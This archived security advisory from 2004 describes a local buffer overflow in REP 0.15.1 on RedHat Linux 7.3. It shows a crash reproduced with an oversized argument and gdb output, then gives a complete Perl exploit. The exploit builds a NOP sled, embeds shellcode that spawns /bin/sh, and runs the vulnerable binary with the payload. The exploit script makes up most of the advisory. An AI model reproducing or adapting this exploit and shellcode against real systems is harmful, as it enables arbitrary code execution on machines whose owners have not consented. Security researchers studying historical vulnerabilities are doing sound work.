what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

repredhat.txt

repredhat.txt
Posted May 1, 2004
Authored by BlackAngels | Site blackangels.it

A local buffer overflow vulnerability exists in REP version 0.15.1 on RedHat Linux 7.3. Proof of concept exploitation included.

tags | advisory, overflow, local, proof of concept
systems | linux, redhat
SHA-256 | 8e1fdc0cc3c3bec4177fbfd6ba811f0eac0e4c1f712dacde188c47bea51db84c

repredhat.txt

Change Mirror Download
[ REDHAT LINUX 7.3 LOCAL BUFFER OVERFLOW IN REP 0.15.1 ]




{ Vulnerable system }

REP stands for "Read, Eval, Print", the three main components of any
Lisp system.
Librep is a dialect of Lisp, designed to be used both as an extension
language for applications, and for use as a general programming language.
A vulnerability in REP allows a local user to execute arbitrary code.


{ Description }

REP 0.15.1 for RedHat Linux 7.3 is vulnerable to a local buffer overflow;
the possible cause may be in an incorrect use of strcpy() / memcpy()
functions.
Unfortunately, we are unable to find package's sources, so we couldn't
describe this vulnerability.
To exploit the vulnerability, simply input as first ARG a buffer string
of 4081 bytes :

$ declare -x BADBUFFER=`perl -e '{print "A"x"4081"}'`
$ rep $BADBUFFER

Segmentation fault

$ gdb rep

(gdb) r $BADBUFFER

Program received signal SIGSEGV, Segmentation fault.
0x4003f3cd in Fexpand_file_name () from /usr/lib/librep.so.9

(gdb) info reg esp

esp 0xbf414139 0xbf414139



N.B. Versions before 2.4.20 could be affected from this vulnerability.


{ Exploit’s code }

#!/usr/bin/perl -w


##
# RedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##

$len = 4260;
$ret = 0xbf414139;
$nop = "\x90";

print "\nRedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit";
print "\nVulnerable versions: RedHat Linux 7.3 with 2.4.20";
print "\n============================================================\n";

if (!$ARGV[0]) {
print "You must specify an offset [ Default = -1000 ] ...\n\n";
exit(-1);
}

my $offset = "$ARGV[0]";

$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

print "Trying to execute /bin/sh ...\n";

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;

print("\nAddress: 0x", sprintf('%lx',($ret + $offset)), "\n");
print "\tRet: $ret + Offset: $offset\n\n";

$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}

exec("/usr/bin/rep $buffer");

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close